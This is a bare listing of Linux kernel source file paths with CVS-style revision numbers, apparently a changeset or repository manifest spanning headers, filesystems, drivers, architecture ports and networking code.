linux/include/linux/nfs.h - 1.7 linux/include/linux/netdevice.h - 1.35 linux/include/linux/net.h - 1.9 linux/include/linux/ncp.h - 1.4 linux/include/linux/msdos_fs.h - 1.13 linux/include/linux/mm.h - 1.89 linux/include/linux/lockd/lockd.h - 1.8 linux/include/linux/isdn_ppp.h - 1.11 linux/include/linux/inetdevice.h - 1.8 linux/include/linux/in.h - 1.5 linux/include/linux/igmp.h - 1.7 linux/include/linux/if_ether.h - 1.12 linux/include/linux/if_arcnet.h - 1.4 linux/include/linux/icmpv6.h - 1.5 linux/include/linux/hfs_fs.h - 1.8 linux/include/linux/blkdev.h - 1.48 linux/include/linux/apm_bios.h - 1.12 linux/include/asm-sparc64/processor.h - 1.26 linux/include/asm-sparc64/page.h - 1.14 linux/include/asm-sparc64/ipc.h - 1.4 linux/include/asm-sparc/processor.h - 1.20 linux/include/asm-sparc/ipc.h - 1.4 linux/include/asm-ppc/unistd.h - 1.20 linux/include/asm-ppc/unaligned.h - 1.6 linux/include/asm-ppc/termios.h - 1.11 linux/include/asm-ppc/signal.h - 1.7 linux/include/asm-ppc/siginfo.h - 1.10 linux/include/asm-ppc/serial.h - 1.13 linux/include/asm-ppc/ptrace.h - 1.11 linux/include/asm-ppc/processor.h - 1.34 linux/include/asm-ppc/posix_types.h - 1.9 linux/include/asm-ppc/pgtable.h - 1.32 linux/include/asm-ppc/pci-bridge.h - 1.11 linux/include/asm-ppc/page.h - 1.16 linux/include/asm-ppc/ohare.h - 1.8 linux/include/asm-ppc/mmu.h - 1.11 linux/include/asm-ppc/md.h - 1.6 linux/include/asm-ppc/machdep.h - 1.25 linux/include/asm-ppc/linux_logo.h - 1.10 linux/include/asm-ppc/keyboard.h - 1.13 linux/include/asm-ppc/irq.h - 1.17 linux/include/asm-ppc/ipc.h - 1.5 linux/include/asm-ppc/io.h - 1.17 linux/include/asm-ppc/hardirq.h - 1.17 linux/include/asm-ppc/checksum.h - 1.6 linux/include/asm-ppc/bootx.h - 1.7 linux/include/asm-ppc/bitops.h - 1.12 linux/include/asm-ppc/atomic.h - 1.11 linux/include/asm-ppc/a.out.h - 1.5 linux/include/asm-mips/watch.h - 1.6 linux/include/asm-mips/unistd.h - 1.13 linux/include/asm-mips/uaccess.h - 1.10 linux/include/asm-mips/timex.h - 1.7 linux/include/asm-mips/system.h - 1.15 linux/include/asm-mips/string.h - 1.9 linux/include/asm-mips/stat.h - 1.6 linux/include/asm-mips/sni.h - 1.8 linux/include/asm-mips/smplock.h - 1.7 linux/include/asm-mips/smp.h - 1.7 linux/include/asm-mips/signal.h - 1.8 linux/include/asm-mips/sigcontext.h - 1.6 linux/include/asm-mips/sgiarcs.h - 1.8 linux/include/asm-mips/serial.h - 1.8 linux/include/asm-mips/semaphore.h - 1.12 linux/include/asm-mips/scatterlist.h - 1.6 linux/include/asm-mips/rrm.h - 1.4 linux/include/asm-mips/r4kcache.h - 1.6 linux/include/asm-mips/processor.h - 1.23 linux/include/asm-mips/posix_types.h - 1.8 linux/include/asm-mips/pgtable.h - 1.18 linux/include/asm-mips/pci.h - 1.17 linux/include/asm-mips/param.h - 1.6 linux/include/asm-mips/page.h - 1.11 linux/include/asm-mips/mmu_context.h - 1.10 linux/include/asm-mips/mipsregs.h - 1.13 linux/include/asm-mips/mc146818rtc.h - 1.9 linux/include/asm-mips/keyboard.h - 1.11 linux/include/asm-mips/jazz.h - 1.8 linux/include/asm-mips/irq.h - 1.10 linux/include/asm-mips/ipc.h - 1.5 linux/include/asm-mips/io.h - 1.12 linux/include/asm-mips/inventory.h - 1.6 linux/include/asm-mips/ide.h - 1.13 linux/include/asm-mips/gdb-stub.h - 1.8 linux/include/asm-mips/dma.h - 1.9 linux/include/asm-mips/delay.h - 1.10 linux/include/asm-mips/cpu.h - 1.10 linux/include/asm-mips/checksum.h - 1.9 linux/include/asm-mips/cacheops.h - 1.4 linux/include/asm-mips/cache.h - 1.8 linux/include/asm-mips/bootinfo.h - 1.14 linux/include/asm-mips/bitops.h - 1.12 linux/include/asm-mips/atomic.h - 1.11 linux/include/asm-mips/asmmacro.h - 1.7 linux/include/asm-mips/asm.h - 1.8 linux/include/asm-m68k/virtconvert.h - 1.6 linux/include/asm-m68k/pgtable.h - 1.15 linux/include/asm-m68k/floppy.h - 1.7 linux/include/asm-i386/system.h - 1.27 linux/include/asm-i386/processor.h - 1.36 linux/include/asm-i386/msr.h - 1.14 linux/include/asm-i386/ipc.h - 1.3 linux/include/asm-i386/fixmap.h - 1.12 linux/include/asm-i386/dma.h - 1.5 linux/include/asm-i386/bitops.h - 1.11 linux/include/asm-arm/unistd.h - 1.19 linux/include/asm-arm/types.h - 1.4 linux/include/asm-arm/system.h - 1.18 linux/include/asm-arm/stat.h - 1.6 linux/include/asm-arm/signal.h - 1.5 linux/include/asm-arm/setup.h - 1.13 linux/include/asm-arm/scatterlist.h - 1.6 linux/include/asm-arm/ptrace.h - 1.7 linux/include/asm-arm/procinfo.h - 1.8 linux/include/asm-arm/processor.h - 1.23 linux/include/asm-arm/proc-fns.h - 1.12 linux/include/asm-arm/proc-armv/uncompress.h - 1.5 linux/include/asm-arm/proc-armv/system.h - 1.14 linux/include/asm-arm/proc-armv/processor.h - 1.9 linux/include/asm-arm/proc-armv/elf.h - 1.6 linux/include/asm-arm/proc-armo/uncompress.h - 1.4 linux/include/asm-arm/proc-armo/system.h - 1.12 linux/include/asm-arm/proc-armo/processor.h - 1.9 linux/include/asm-arm/pgtable.h - 1.22 linux/include/asm-arm/page.h - 1.14 linux/include/asm-arm/mmu_context.h - 1.10 linux/include/asm-arm/io.h - 1.19 linux/include/asm-arm/elf.h - 1.6 linux/include/asm-arm/ecard.h - 1.4 linux/include/asm-arm/dma.h - 1.9 linux/include/asm-arm/delay.h - 1.4 linux/include/asm-arm/bitops.h - 1.8 linux/include/asm-arm/atomic.h - 1.10 linux/include/asm-arm/arch-rpc/uncompress.h - 1.5 linux/include/asm-arm/arch-rpc/system.h - 1.13 linux/include/asm-arm/arch-rpc/serial.h - 1.5 linux/include/asm-arm/arch-rpc/memory.h - 1.8 linux/include/asm-arm/arch-rpc/io.h - 1.9 linux/include/asm-arm/arch-rpc/hardware.h - 1.10 linux/include/asm-arm/arch-nexuspci/system.h - 1.9 linux/include/asm-arm/arch-nexuspci/memory.h - 1.8 linux/include/asm-arm/arch-ebsa285/system.h - 1.13 linux/include/asm-arm/arch-ebsa285/memory.h - 1.11 linux/include/asm-arm/arch-ebsa285/hardware.h - 1.10 linux/include/asm-arm/arch-ebsa110/uncompress.h - 1.6 linux/include/asm-arm/arch-ebsa110/system.h - 1.10 linux/include/asm-arm/arch-ebsa110/memory.h - 1.9 linux/include/asm-arm/arch-arc/system.h - 1.12 linux/include/asm-arm/arch-arc/memory.h - 1.8 linux/include/asm-alpha/irq.h - 1.7 linux/include/asm-alpha/elf.h - 1.7 linux/include/asm-alpha/core_t2.h - 1.10 linux/fs/stat.c - 1.22 linux/fs/read_write.c - 1.19 linux/fs/proc/base.c - 1.34 linux/fs/pipe.c - 1.26 linux/fs/open.c - 1.37 linux/fs/nls/Config.in - 1.12 linux/fs/nfsd/vfs.c - 1.45 linux/fs/nfsd/nfsfh.c - 1.36 linux/fs/nfsd/export.c - 1.24 linux/fs/nfs/write.c - 1.36 linux/fs/nfs/nfsroot.c - 1.13 linux/fs/nfs/file.c - 1.27 linux/fs/nfs/Makefile - 1.8 linux/fs/ncpfs/inode.c - 1.24 linux/fs/namei.c - 1.48 linux/fs/locks.c - 1.23 linux/fs/lockd/svcproc.c - 1.12 linux/fs/lockd/svclock.c - 1.13 linux/fs/lockd/mon.c - 1.10 linux/fs/lockd/host.c - 1.9 linux/fs/lockd/clntproc.c - 1.16 linux/fs/hfs/super.c - 1.13 linux/fs/hfs/mdb.c - 1.5 linux/fs/fat/misc.c - 1.10 linux/fs/fat/inode.c - 1.31 linux/fs/exec.c - 1.54 linux/fs/coda/file.c - 1.21 linux/fs/coda/dir.c - 1.23 linux/fs/binfmt_elf.c - 1.41 linux/drivers/video/vesafb.c - 1.20 linux/drivers/video/newport_con.c - 1.11 linux/drivers/video/fbmem.c - 1.48 linux/drivers/video/fbcon.c - 1.28 linux/drivers/video/Makefile - 1.39 linux/drivers/video/Config.in - 1.37 linux/drivers/usb/usb.c - 1.63 linux/drivers/usb/hub.c - 1.44 linux/drivers/usb/Makefile - 1.51 linux/drivers/usb/Config.in - 1.54 linux/drivers/sound/es1371.c - 1.40 linux/drivers/sound/Makefile - 1.37 linux/drivers/sound/Config.in - 1.34 linux/drivers/sgi/char/usema.c - 1.10 linux/drivers/sgi/char/streamable.c - 1.9 linux/drivers/sgi/char/shmiq.c - 1.18 linux/drivers/sgi/char/sgiserial.h - 1.6 linux/drivers/sgi/char/sgiserial.c - 1.14 linux/drivers/sgi/char/sgicons.c - 1.7 linux/drivers/sgi/char/rrm.c - 1.7 linux/drivers/sgi/char/newport.c - 1.8 linux/drivers/sgi/char/graphics.h - 1.5 linux/drivers/sgi/char/graphics.c - 1.18 linux/drivers/sgi/char/gconsole.h - 1.3 linux/drivers/sgi/char/Makefile - 1.6 linux/drivers/sgi/Makefile - 1.6 linux/drivers/scsi/st_options.h - 1.8 linux/drivers/scsi/st.h - 1.15 linux/drivers/scsi/st.c - 1.39 linux/drivers/scsi/sgiwd93.c - 1.13 linux/drivers/scsi/seagate.c - 1.16 linux/drivers/scsi/sd.c - 1.54 linux/drivers/scsi/scsi_ioctl.c - 1.22 linux/drivers/scsi/scsi.h - 1.25 linux/drivers/scsi/scsi.c - 1.47 linux/drivers/scsi/megaraid.c - 1.36 linux/drivers/scsi/ide-scsi.c - 1.23 linux/drivers/scsi/gdth.c - 1.20 linux/drivers/scsi/aic7xxx/aic7xxx.seq - 1.14 linux/drivers/scsi/aic7xxx/aic7xxx.reg - 1.12 linux/drivers/scsi/aha152x.c - 1.30 linux/drivers/scsi/README.st - 1.10 linux/drivers/scsi/Makefile - 1.38 linux/drivers/scsi/Config.in - 1.33 linux/drivers/sbus/sbus.c - 1.15 linux/drivers/sbus/char/su.c - 1.23 linux/drivers/sbus/char/sab82532.c - 1.26 linux/drivers/pci/Makefile - 1.20 linux/drivers/net/via-rhine.c - 1.37 linux/drivers/net/tlan.h - 1.13 linux/drivers/net/tlan.c - 1.25 linux/drivers/net/sunhme.c - 1.36 linux/drivers/net/sonic.c - 1.9 linux/drivers/net/rcpci45.c - 1.24 linux/drivers/net/ppp_deflate.c - 1.9 linux/drivers/net/plip.c - 1.22 linux/drivers/net/pcnet32.c - 1.35 linux/drivers/net/ne2k-pci.c - 1.25 linux/drivers/net/myri_sbus.c - 1.15 linux/drivers/net/mace.c - 1.18 linux/drivers/net/hamradio/mkiss.c - 1.15 linux/drivers/net/eexpress.c - 1.21 linux/drivers/net/eepro100.c - 1.44 linux/drivers/net/eepro.c - 1.26 linux/drivers/net/dgrs.c - 1.23 linux/drivers/net/cs89x0.c - 1.23 linux/drivers/net/bmac.c - 1.21 linux/drivers/net/atari_pamsnet.c - 1.12 linux/drivers/net/apne.c - 1.12 linux/drivers/net/acenic.c - 1.40 linux/drivers/net/Makefile - 1.53 linux/drivers/net/Config.in - 1.63 linux/drivers/net/3c59x.c - 1.37 linux/drivers/macintosh/via-pmu.c - 1.21 linux/drivers/macintosh/via-cuda.c - 1.12 linux/drivers/macintosh/mediabay.c - 1.14 linux/drivers/macintosh/macio-adb.c - 1.8 linux/drivers/macintosh/adb.c - 1.16 linux/drivers/isdn/isdn_ppp.h - 1.9 linux/drivers/isdn/isdn_ppp.c - 1.27 linux/drivers/isdn/isdn_net.c - 1.30 linux/drivers/isdn/hisax/config.c - 1.28 linux/drivers/isdn/Config.in - 1.24 linux/drivers/char/tty_io.c - 1.44 linux/drivers/char/sysrq.c - 1.21 linux/drivers/char/serial.c - 1.63 linux/drivers/char/rocket_int.h - 1.5 linux/drivers/char/random.c - 1.26 linux/drivers/char/n_tty.c - 1.14 linux/drivers/char/misc.c - 1.29 linux/drivers/char/keyboard.c - 1.27 linux/drivers/char/Makefile - 1.59 linux/drivers/char/Config.in - 1.61 linux/drivers/block/swim3.c - 1.16 linux/drivers/block/nbd.c - 1.29 linux/drivers/block/loop.c - 1.48 linux/drivers/block/ll_rw_blk.c - 1.87 linux/drivers/block/floppy.c - 1.33 linux/drivers/acorn/scsi/queue.h - 1.5 linux/drivers/acorn/scsi/queue.c - 1.7 linux/drivers/acorn/scsi/powertec.c - 1.12 linux/drivers/acorn/scsi/fas216.h - 1.6 linux/drivers/acorn/scsi/fas216.c - 1.12 linux/drivers/acorn/scsi/eesox.c - 1.11 linux/drivers/acorn/scsi/cumana_2.c - 1.11 linux/drivers/acorn/net/etherh.c - 1.14 linux/drivers/acorn/net/ether3.c - 1.13 linux/drivers/acorn/net/ether1.c - 1.14 linux/drivers/acorn/char/serial-dualsp.c - 1.5 linux/drivers/acorn/char/serial-card.c - 1.7 linux/drivers/acorn/char/serial-atomwide.c - 1.5 linux/drivers/acorn/char/Makefile - 1.11 linux/drivers/acorn/block/fd1772.c - 1.16 linux/drivers/Makefile - 1.30 linux/arch/sparc64/prom/init.c - 1.5 linux/arch/sparc64/prom/bootstr.c - 1.5 linux/arch/sparc64/mm/init.c - 1.40 linux/arch/sparc64/kernel/sys_sparc.c - 1.26 linux/arch/sparc64/kernel/signal32.c - 1.20 linux/arch/sparc64/kernel/signal.c - 1.18 linux/arch/sparc64/kernel/ioctl32.c - 1.55 linux/arch/sparc64/kernel/head.S - 1.19 linux/arch/sparc64/defconfig - 1.62 linux/arch/sparc64/config.in - 1.50 linux/arch/sparc64/boot/Makefile - 1.4 linux/arch/sparc/kernel/sys_sparc.c - 1.16 linux/arch/sparc/kernel/signal.c - 1.22 linux/arch/sparc/config.in - 1.34 linux/arch/ppc/vmlinux.lds - 1.13 linux/arch/ppc/mm/init.c - 1.42 linux/arch/ppc/mm/fault.c - 1.20 linux/arch/ppc/mm/Makefile - 1.9 linux/arch/ppc/lib/string.S - 1.11 linux/arch/ppc/lib/locks.c - 1.11 linux/arch/ppc/lib/checksum.S - 1.9 linux/arch/ppc/kernel/traps.c - 1.25 linux/arch/ppc/kernel/time.c - 1.21 linux/arch/ppc/kernel/syscalls.c - 1.14 linux/arch/ppc/kernel/softemu8xx.c - 1.8 linux/arch/ppc/kernel/smp.c - 1.34 linux/arch/ppc/kernel/signal.c - 1.18 linux/arch/ppc/kernel/setup.c - 1.43 linux/arch/ppc/kernel/ptrace.c - 1.16 linux/arch/ppc/kernel/prom.c - 1.32 linux/arch/ppc/kernel/process.c - 1.36 linux/arch/ppc/kernel/prep_nvram.c - 1.11 linux/arch/ppc/kernel/ppc_ksyms.c - 1.45 linux/arch/ppc/kernel/ppc_htab.c - 1.17 linux/arch/ppc/kernel/ppc8xx_pic.c - 1.10 linux/arch/ppc/kernel/ppc-stub.c - 1.10 linux/arch/ppc/kernel/pci.c - 1.28 linux/arch/ppc/kernel/open_pic.c - 1.25 linux/arch/ppc/kernel/mk_defs.c - 1.15 linux/arch/ppc/kernel/misc.S - 1.39 linux/arch/ppc/kernel/irq.c - 1.36 linux/arch/ppc/kernel/indirect_pci.c - 1.9 linux/arch/ppc/kernel/idle.c - 1.23 linux/arch/ppc/kernel/i8259.c - 1.13 linux/arch/ppc/kernel/head.S - 1.35 linux/arch/ppc/kernel/find_name.c - 1.5 linux/arch/ppc/kernel/checks.c - 1.6 linux/arch/ppc/kernel/bitops.c - 1.6 linux/arch/ppc/kernel/Makefile - 1.30 linux/arch/ppc/config.in - 1.46 linux/arch/ppc/boot/Makefile - 1.20 linux/arch/ppc/amiga/ints.c - 1.8 linux/arch/ppc/amiga/config.c - 1.17 linux/arch/ppc/Makefile - 1.26 linux/arch/ppc/8xx_io/uart.c - 1.20 linux/arch/ppc/8xx_io/fec.c - 1.19 linux/arch/ppc/8xx_io/enet.c - 1.19 linux/arch/mips/tools/offset.c - 1.11 linux/arch/mips/sni/setup.c - 1.11 linux/arch/mips/sni/pci.c - 1.12 linux/arch/mips/sni/int-handler.S - 1.8 linux/arch/mips/sni/Makefile - 1.7 linux/arch/mips/mm/umap.c - 1.10 linux/arch/mips/mm/loadmmu.c - 1.12 linux/arch/mips/mm/init.c - 1.16 linux/arch/mips/mm/fault.c - 1.15 linux/arch/mips/mm/Makefile - 1.11 linux/arch/mips/lib/rtc-no.c - 1.6 linux/arch/mips/lib/memcpy.S - 1.11 linux/arch/mips/lib/ide-std.c - 1.7 linux/arch/mips/lib/ide-no.c - 1.7 linux/arch/mips/lib/dump_tlb.c - 1.5 linux/arch/mips/lib/Makefile - 1.13 linux/arch/mips/kernel/vm86.c - 1.3 linux/arch/mips/kernel/unaligned.c - 1.11 linux/arch/mips/kernel/traps.c - 1.15 linux/arch/mips/kernel/time.c - 1.15 linux/arch/mips/kernel/sysmips.c - 1.11 linux/arch/mips/kernel/sysirix.c - 1.19 linux/arch/mips/kernel/syscalls.h - 1.14 linux/arch/mips/kernel/syscall.c - 1.13 linux/arch/mips/kernel/signal.c - 1.16 linux/arch/mips/kernel/setup.c - 1.16 linux/arch/mips/kernel/r4k_switch.S - 1.12 linux/arch/mips/kernel/r2300_switch.S - 1.11 linux/arch/mips/kernel/ptrace.c - 1.16 linux/arch/mips/kernel/process.c - 1.17 linux/arch/mips/kernel/proc.c - 1.10 linux/arch/mips/kernel/pci.c - 1.10 linux/arch/mips/kernel/mips_ksyms.c - 1.16 linux/arch/mips/kernel/irq.c - 1.15 linux/arch/mips/kernel/irixsig.c - 1.12 linux/arch/mips/kernel/irixinv.c - 1.9 linux/arch/mips/kernel/irixelf.c - 1.18 linux/arch/mips/kernel/ipc.c - 1.5 linux/arch/mips/kernel/ioport.c - 1.3 linux/arch/mips/kernel/head.S - 1.14 linux/arch/mips/kernel/gdb-stub.c - 1.11 linux/arch/mips/kernel/gdb-low.S - 1.9 linux/arch/mips/kernel/entry.S - 1.12 linux/arch/mips/kernel/branch.c - 1.6 linux/arch/mips/kernel/Makefile - 1.12 linux/arch/mips/jazz/setup.c - 1.8 linux/arch/mips/jazz/reset.c - 1.5 linux/arch/mips/jazz/int-handler.S - 1.6 linux/arch/mips/jazz/floppy-jazz.c - 1.7 linux/arch/mips/jazz/Makefile - 1.6 linux/arch/mips/defconfig - 1.26 linux/arch/mips/Makefile - 1.14 linux/arch/m68k/mm/memory.c - 1.13 linux/arch/m68k/mac/config.c - 1.12 linux/arch/m68k/kernel/m68k_ksyms.c - 1.12 linux/arch/m68k/config.in - 1.27 linux/arch/m68k/apollo/config.c - 1.9 linux/arch/i386/math-emu/poly.h - 1.6 linux/arch/i386/math-emu/fpu_trig.c - 1.6 linux/arch/i386/kernel/vm86.c - 1.13 linux/arch/i386/kernel/traps.c - 1.50 linux/arch/i386/kernel/sys_i386.c - 1.8 linux/arch/i386/kernel/setup.c - 1.69 linux/arch/i386/kernel/process.c - 1.43 linux/arch/i386/kernel/apm.c - 1.43 linux/arch/i386/kernel/Makefile - 1.25 linux/arch/i386/config.in - 1.76 linux/arch/i386/boot/compressed/misc.c - 1.16 linux/arch/i386/boot/bootsect.S - 1.15 linux/arch/arm/mm/small_page.c - 1.10 linux/arch/arm/mm/proc-sa110.S - 1.24 linux/arch/arm/mm/proc-arm6,7.S - 1.19 linux/arch/arm/mm/proc-arm2,3.S - 1.10 linux/arch/arm/mm/mm-armv.c - 1.24 linux/arch/arm/mm/ioremap.c - 1.9 linux/arch/arm/mm/init.c - 1.25 linux/arch/arm/mm/fault-common.c - 1.20 linux/arch/arm/mm/fault-armv.c - 1.21 linux/arch/arm/mm/Makefile - 1.15 linux/arch/arm/lib/delay.S - 1.6 linux/arch/arm/lib/backtrace.S - 1.9 linux/arch/arm/lib/Makefile - 1.20 linux/arch/arm/kernel/traps.c - 1.24 linux/arch/arm/kernel/time.c - 1.14 linux/arch/arm/kernel/signal.c - 1.18 linux/arch/arm/kernel/setup.c - 1.24 linux/arch/arm/kernel/ptrace.c - 1.15 linux/arch/arm/kernel/process.c - 1.23 linux/arch/arm/kernel/oldlatches.c - 1.10 linux/arch/arm/kernel/irq.c - 1.14 linux/arch/arm/kernel/head-armv.S - 1.18 linux/arch/arm/kernel/entry-common.S - 1.18 linux/arch/arm/kernel/entry-armv.S - 1.24 linux/arch/arm/kernel/ecard.c - 1.16 linux/arch/arm/kernel/dma.c - 1.10 linux/arch/arm/kernel/dma-rpc.c - 1.10 linux/arch/arm/kernel/dma-arc.c - 1.13 linux/arch/arm/kernel/calls.S - 1.17 linux/arch/arm/kernel/armksyms.c - 1.22 linux/arch/arm/kernel/Makefile - 1.21 linux/arch/arm/config.in - 1.33 linux/arch/arm/boot/compressed/misc.c - 1.6 linux/arch/arm/boot/compressed/head.S - 1.16 linux/arch/arm/boot/compressed/Makefile - 1.21 linux/arch/arm/boot/Makefile - 1.11 linux/arch/arm/Makefile - 1.26 linux/arch/alpha/lib/stxncpy.S - 1.6 linux/arch/alpha/kernel/sys_sio.c - 1.14 linux/arch/alpha/kernel/sys_sable.c - 1.10 linux/arch/alpha/kernel/sys_noritake.c - 1.10 linux/arch/alpha/kernel/sys_miata.c - 1.15 linux/arch/alpha/kernel/sys_alcor.c - 1.11 linux/arch/alpha/kernel/setup.c - 1.28 linux/arch/alpha/kernel/proto.h - 1.20 linux/arch/alpha/kernel/process.c - 1.21 linux/arch/alpha/kernel/core_t2.c - 1.12 linux/arch/alpha/kernel/core_lca.c - 1.12 linux/arch/alpha/kernel/core_cia.c - 1.23 linux/arch/alpha/kernel/Makefile - 1.20 linux/arch/alpha/config.in - 1.43 linux/README - 1.13 linux/MAINTAINERS - 1.93 linux/Documentation/sound/VIBRA16 - 1.3 linux/Documentation/sound/OPL3-SA - 1.4 linux/Documentation/sound/Introduction - 1.10 linux/Documentation/pci.txt - 1.19 linux/Documentation/filesystems/sysv-fs.txt - 1.3 linux/Documentation/fb/vesafb.txt - 1.4 linux/Documentation/devices.txt - 1.12 linux/CREDITS - 1.77 linux/include/linux/ide.h - 1.36 linux/drivers/sound/cmpci.c - 1.32 linux/drivers/acorn/scsi/arxescsi.h - 1.4 linux/drivers/acorn/scsi/arxescsi.c - 1.10 linux/drivers/acorn/char/keyb_arc.c - 1.11 linux/arch/ppc/xmon/xmon.c - 1.20 linux/arch/ppc/xmon/start.c - 1.20 linux/arch/ppc/xmon/ppc-opc.c - 1.5 linux/arch/arm/nwfpe/softfloat.h - 1.3 linux/arch/arm/nwfpe/softfloat.c - 1.4 linux/arch/arm/nwfpe/single_cpdo.c - 1.7 linux/arch/arm/nwfpe/fpsr.h - 1.4 linux/arch/arm/nwfpe/fpopcode.h - 1.4 linux/arch/arm/nwfpe/fpopcode.c - 1.6 linux/arch/arm/nwfpe/fpmodule.inl - 1.5 linux/arch/arm/nwfpe/fpmodule.c - 1.11 linux/arch/arm/nwfpe/fpa11_cprt.c - 1.8 linux/arch/arm/nwfpe/fpa11_cpdt.c - 1.7 linux/arch/arm/nwfpe/fpa11_cpdo.c - 1.7 linux/arch/arm/nwfpe/fpa11.inl - 1.5 linux/arch/arm/nwfpe/fpa11.h - 1.6 linux/arch/arm/nwfpe/fpa11.c - 1.7 linux/arch/arm/nwfpe/extended_cpdo.c - 1.8 linux/arch/arm/nwfpe/entry26.S - 1.6 linux/arch/arm/nwfpe/entry.S - 1.6 linux/arch/arm/nwfpe/double_cpdo.c - 1.8 linux/arch/arm/nwfpe/Makefile - 1.6 linux/arch/arm/nwfpe/ChangeLog - 1.4 linux/arch/arm/kernel/arthur.c - 1.10 linux/arch/arm/boot/compressed/ll_char_wr.S - 1.4 linux/Documentation/kernel-parameters.txt - 1.17 linux/include/asm-mips/umap.h - 1.3 linux/include/asm-mips/semaphore-helper.h - 1.8 linux/include/asm-mips/dec/machtype.h - 1.4 linux/include/asm-mips/dec/kn03.h - 1.5 linux/include/asm-mips/dec/kn02xa.h - 1.5 linux/include/asm-mips/dec/kn02.h - 1.5 linux/include/asm-mips/dec/kn01.h - 1.4 linux/include/asm-mips/dec/ioasic_ints.h - 1.5 linux/include/asm-mips/dec/ioasic_addrs.h - 1.5 linux/include/asm-mips/dec/interrupts.h - 1.6 linux/include/asm-mips/baget/vic.h - 1.6 linux/include/asm-mips/baget/vac.h - 1.6 linux/include/asm-mips/baget/baget.h - 1.5 linux/drivers/tc/zs.c - 1.9 linux/drivers/tc/tc.c - 1.8 linux/drivers/sgi/char/usema.h - 1.3 linux/drivers/sgi/char/ds1286.c - 1.12 linux/drivers/sgi/Config.in - 1.6 linux/drivers/char/dz.c - 1.15 linux/arch/mips/lib/kbd-no.c - 1.5 linux/arch/mips/jazz/kbd-jazz.c - 1.4 linux/arch/mips/dec/wbflush.c - 1.7 linux/arch/mips/dec/time.c - 1.9 linux/arch/mips/dec/setup.c - 1.8 linux/arch/mips/dec/rtc-dec.c - 1.6 linux/arch/mips/dec/reset.c - 1.5 linux/arch/mips/dec/promcon.c - 1.6 linux/arch/mips/dec/prom/prom.h - 1.3 linux/arch/mips/dec/prom/memory.c - 1.11 linux/arch/mips/dec/prom/locore.S - 1.2 linux/arch/mips/dec/prom/init.c - 1.7 linux/arch/mips/dec/prom/identify.c - 1.7 linux/arch/mips/dec/prom/cmdline.c - 1.7 linux/arch/mips/dec/prom/Makefile - 1.7 linux/arch/mips/dec/int-handler.S - 1.6 linux/arch/mips/dec/Makefile - 1.7 linux/arch/mips/boot/elf2ecoff.c - 1.6 linux/arch/mips/baget/wbflush.c - 1.4 linux/arch/mips/baget/vacserial.c - 1.12 linux/arch/mips/baget/time.c - 1.6 linux/arch/mips/baget/setup.c - 1.7 linux/arch/mips/baget/prom/init.c - 1.7 linux/arch/mips/baget/print.c - 1.6 linux/arch/mips/baget/ld.script.balo - 1.3 linux/arch/mips/baget/irq.c - 1.10 linux/arch/mips/baget/balo_supp.S - 1.5 linux/arch/mips/baget/balo.c - 1.5 linux/arch/mips/baget/bagetIRQ.S - 1.5 linux/arch/mips/baget/baget.c - 1.5 linux/arch/mips/baget/Makefile - 1.5 linux/arch/mips/arc/identify.c - 1.9 linux/arch/mips/arc/console.c - 1.10 linux/arch/mips/arc/cmdline.c - 1.9 linux/arch/mips/arc/Makefile - 1.7 linux/arch/mips/algor/README - 1.2 linux/kernel/ptrace.c - 1.22 linux/drivers/net/ppp_generic.c - 1.29 linux/drivers/net/macsonic.c - 1.13 linux/drivers/sound/esssolo1.c - 1.36 linux/include/asm-i386/hw_irq.h - 1.22 linux/drivers/net/sis900.c - 1.35 linux/drivers/atm/zatm.c - 1.13 linux/drivers/atm/nicstar.h - 1.7 linux/drivers/atm/nicstar.c - 1.18 linux/drivers/atm/horizon.c - 1.12 linux/drivers/atm/eni.c - 1.15 linux/drivers/atm/atmtcp.c - 1.10 linux/drivers/atm/ambassador.c - 1.14 linux/drivers/atm/Makefile - 1.16 linux/drivers/atm/Config.in - 1.13 linux/net/sched/sch_atm.c - 1.9 linux/net/core/netfilter.c - 1.17 linux/net/atm/svc.c - 1.11 linux/net/atm/signaling.c - 1.9 linux/net/atm/resources.h - 1.4 linux/net/atm/resources.c - 1.9 linux/net/atm/raw.c - 1.8 linux/net/atm/pvc.c - 1.10 linux/net/atm/proc.c - 1.16 linux/net/atm/mpc.c - 1.10 linux/net/atm/lec.h - 1.8 linux/net/atm/lec.c - 1.16 linux/net/atm/ipcommon.c - 1.4 linux/net/atm/common.h - 1.4 linux/net/atm/common.c - 1.19 linux/net/atm/clip.c - 1.13 linux/net/atm/atm_misc.c - 1.6 linux/net/atm/addr.c - 1.6 linux/net/atm/Makefile - 1.11 linux/include/net/atmclip.h - 1.6 linux/include/linux/netfilter.h - 1.9 linux/include/linux/atmdev.h - 1.12 linux/arch/ppc/math-emu/fcmpo.c - 1.4 linux/arch/ppc/kernel/head_8xx.S - 1.18 linux/arch/ppc/kernel/entry.S - 1.27 linux/arch/arm/kernel/semaphore.c - 1.12 linux/arch/arm/kernel/bios32.c - 1.27 linux/arch/alpha/kernel/pci_impl.h - 1.12 linux/arch/alpha/kernel/pci.c - 1.21 linux/arch/sparc64/kernel/pci_sabre.c - 1.29 linux/arch/sparc64/kernel/pci.c - 1.25 linux/arch/sh/mm/init.c - 1.19 linux/arch/sh/mm/fault.c - 1.20 linux/arch/sh/mm/Makefile - 1.6 linux/arch/sh/lib/delay.c - 1.4 linux/arch/sh/kernel/traps.c - 1.12 linux/arch/sh/kernel/time.c - 1.17 linux/arch/sh/kernel/sys_sh.c - 1.10 linux/arch/sh/kernel/signal.c - 1.14 linux/arch/sh/kernel/sh_ksyms.c - 1.12 linux/arch/sh/kernel/setup.c - 1.19 linux/arch/sh/kernel/ptrace.c - 1.13 linux/arch/sh/kernel/process.c - 1.18 linux/arch/sh/kernel/head.S - 1.9 linux/arch/sh/kernel/entry.S - 1.21 linux/arch/sh/kernel/Makefile - 1.14 linux/arch/sh/config.in - 1.23 linux/arch/sh/Makefile - 1.9 linux/arch/ppc/math-emu/stfd.c - 1.4 linux/arch/ppc/math-emu/sfp-machine.h - 1.5 linux/arch/ppc/math-emu/op-common.h - 1.4 linux/arch/ppc/math-emu/op-4.h - 1.4 linux/arch/ppc/math-emu/op-2.h - 1.4 linux/arch/ppc/math-emu/op-1.h - 1.4 linux/include/asm-arm/cpu-single.h - 1.8 linux/include/asm-arm/cpu-multi32.h - 1.8 linux/net/irda/parameters.c - 1.10 linux/net/irda/ircomm/ircomm_tty_attach.c - 1.10 linux/net/irda/ircomm/ircomm_tty.c - 1.17 linux/net/irda/ircomm/ircomm_param.c - 1.8 linux/include/net/irda/ircomm_tty.h - 1.9 linux/include/asm-sh/unistd.h - 1.13 linux/include/asm-sh/uaccess.h - 1.13 linux/include/asm-sh/types.h - 1.4 